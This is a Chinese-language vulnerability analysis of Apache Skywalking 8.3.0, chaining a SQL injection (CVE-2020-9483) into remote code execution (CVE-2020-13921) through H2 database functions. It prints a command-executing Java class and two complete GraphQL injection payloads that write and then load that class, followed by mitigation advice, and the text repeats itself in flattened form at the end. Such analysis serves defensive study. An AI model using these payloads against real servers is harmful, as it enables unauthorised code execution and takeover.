Apache Skywalking 远程代码执行漏洞(CVE-2020-13921、CVE-2020-9483)
字数 1297 2025-08-09 09:46:33

Apache Skywalking 远程代码执行漏洞分析(CVE-2020-13921、CVE-2020-9483)

漏洞概述

Apache Skywalking 是一款应用性能监控(APM)系统,在8.3.0及以下版本中存在两个严重漏洞:

  1. CVE-2020-9483 - SQL注入漏洞
  2. CVE-2020-13921 - 远程代码执行漏洞

这两个漏洞结合利用可导致攻击者在目标服务器上执行任意代码。

环境搭建

所需环境

  1. 目标服务器:Ubuntu系统运行Skywalking 8.3.0
  2. 攻击机:Windows 10
  3. 调试环境:IntelliJ IDEA

安装步骤

  1. 下载Skywalking 8.3.0:
    https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz
    
  2. 解压并启动:
    tar -xvf apache-skywalking-apm-8.3.0.tar.gz
    cd apache-skywalking-apm-bin/bin
    ./startup.sh
    
  3. 默认访问地址:http://ip:8080

漏洞分析

1. SQL注入漏洞(CVE-2020-9483)

漏洞位置
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java

漏洞原理
metricName参数未经过滤直接拼接到SQL语句中,导致SQL注入。

关键代码

public List<Log> queryLogs(String metricName, int limit, int from, 
    String traceId) throws IOException {
    String sql = buildCountStatement(metricName, traceId);
    // ...
}

private String buildCountStatement(String metricName, String traceId) {
    return "select * from " + metricName + " limit " + limit;
}

2. 远程代码执行漏洞(CVE-2020-13921)

利用条件
结合SQL注入漏洞,利用H2数据库特性实现RCE。

利用链

  1. 通过SQL注入使用file_write()函数写入恶意class文件
  2. 使用H2的LINK_SCHEMA()函数加载恶意类
  3. 恶意类静态代码块中的代码将被执行

漏洞复现

1. 准备恶意类

创建TouchFile.java

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success123"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
    
    public static void main(String[] args) {}
}

编译为class文件:

javac TouchFile.java -target 1.6 -source 1.6

2. 将class文件转换为16进制

使用H2数据库的file_read()函数:

SELECT file_read('/path/to/TouchFile.class');

3. 利用SQL注入写入class文件

发送以下GraphQL请求:

{
  "query": "query queryLogs($condition: LogQueryCondition) { logs: queryLogs(condition: $condition) { data: logs { serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content } total } }",
  "variables": {
    "condition": {
      "metricName": "INFORMATION_SCHEMA.USERS union all select file_write('cafebabe...','TouchFile.class'))a where 1=? or 1=? or 1=? --",
      "endpointId": "1",
      "traceId": "1",
      "state": "ALL",
      "stateCode": "1",
      "paging": {
        "pageNum": 1,
        "pageSize": 1,
        "needTotal": true
      }
    }
  }
}

4. 触发恶意类执行

发送以下GraphQL请求:

{
  "query": "query queryLogs($condition: LogQueryCondition) { logs: queryLogs(condition: $condition) { data: logs { serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content } total } }",
  "variables": {
    "condition": {
      "metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','TouchFile','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --",
      "endpointId": "1",
      "traceId": "1",
      "state": "ALL",
      "stateCode": "1",
      "paging": {
        "pageNum": 1,
        "pageSize": 1,
        "needTotal": true
      }
    }
  }
}

技术细节

GraphQL请求构造

Skywalking使用GraphQL作为API接口,请求分为两部分:

  1. query:定义查询结构和期望返回的字段
  2. variables:定义查询参数

关键点

  • queryLogs是GraphQL查询入口
  • LogQueryCondition是输入参数类型
  • metricName是存在注入的参数

H2数据库利用

  1. file_write()函数:

    SELECT file_write('十六进制数据', '文件名');
    

    用于将二进制数据写入文件

  2. LINK_SCHEMA()函数:

    LINK_SCHEMA('数据库名', '驱动类', 'JDBC URL', '用户名', '密码', '模式')
    

    会触发类加载行为,加载指定类

  3. Class.forName()机制:

    • initialize参数为true时,会执行类的静态代码块
    • 这是RCE的关键点

防御措施

  1. 升级到最新版本
  2. 对用户输入进行严格过滤
  3. 限制H2数据库的危险函数
  4. 使用最小权限原则运行服务

总结

这两个漏洞展示了从SQL注入到RCE的完整攻击链,攻击者可以完全控制目标服务器。理解这些漏洞有助于更好地防御类似的安全威胁。

Apache Skywalking 远程代码执行漏洞分析(CVE-2020-13921、CVE-2020-9483) 漏洞概述 Apache Skywalking 是一款应用性能监控(APM)系统,在8.3.0及以下版本中存在两个严重漏洞: CVE-2020-9483 - SQL注入漏洞 CVE-2020-13921 - 远程代码执行漏洞 这两个漏洞结合利用可导致攻击者在目标服务器上执行任意代码。 环境搭建 所需环境 目标服务器:Ubuntu系统运行Skywalking 8.3.0 攻击机:Windows 10 调试环境:IntelliJ IDEA 安装步骤 下载Skywalking 8.3.0: 解压并启动: 默认访问地址: http://ip:8080 漏洞分析 1. SQL注入漏洞(CVE-2020-9483) 漏洞位置 : oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java 漏洞原理 : metricName 参数未经过滤直接拼接到SQL语句中,导致SQL注入。 关键代码 : 2. 远程代码执行漏洞(CVE-2020-13921) 利用条件 : 结合SQL注入漏洞,利用H2数据库特性实现RCE。 利用链 : 通过SQL注入使用 file_write() 函数写入恶意class文件 使用H2的 LINK_SCHEMA() 函数加载恶意类 恶意类静态代码块中的代码将被执行 漏洞复现 1. 准备恶意类 创建 TouchFile.java : 编译为class文件: 2. 将class文件转换为16进制 使用H2数据库的 file_read() 函数: 3. 利用SQL注入写入class文件 发送以下GraphQL请求: 4. 触发恶意类执行 发送以下GraphQL请求: 技术细节 GraphQL请求构造 Skywalking使用GraphQL作为API接口,请求分为两部分: query :定义查询结构和期望返回的字段 variables :定义查询参数 关键点 : queryLogs 是GraphQL查询入口 LogQueryCondition 是输入参数类型 metricName 是存在注入的参数 H2数据库利用 file_write() 函数: 用于将二进制数据写入文件 LINK_SCHEMA() 函数: 会触发类加载行为,加载指定类 Class.forName() 机制: 当 initialize 参数为true时,会执行类的静态代码块 这是RCE的关键点 防御措施 升级到最新版本 对用户输入进行严格过滤 限制H2数据库的危险函数 使用最小权限原则运行服务 总结 这两个漏洞展示了从SQL注入到RCE的完整攻击链,攻击者可以完全控制目标服务器。理解这些漏洞有助于更好地防御类似的安全威胁。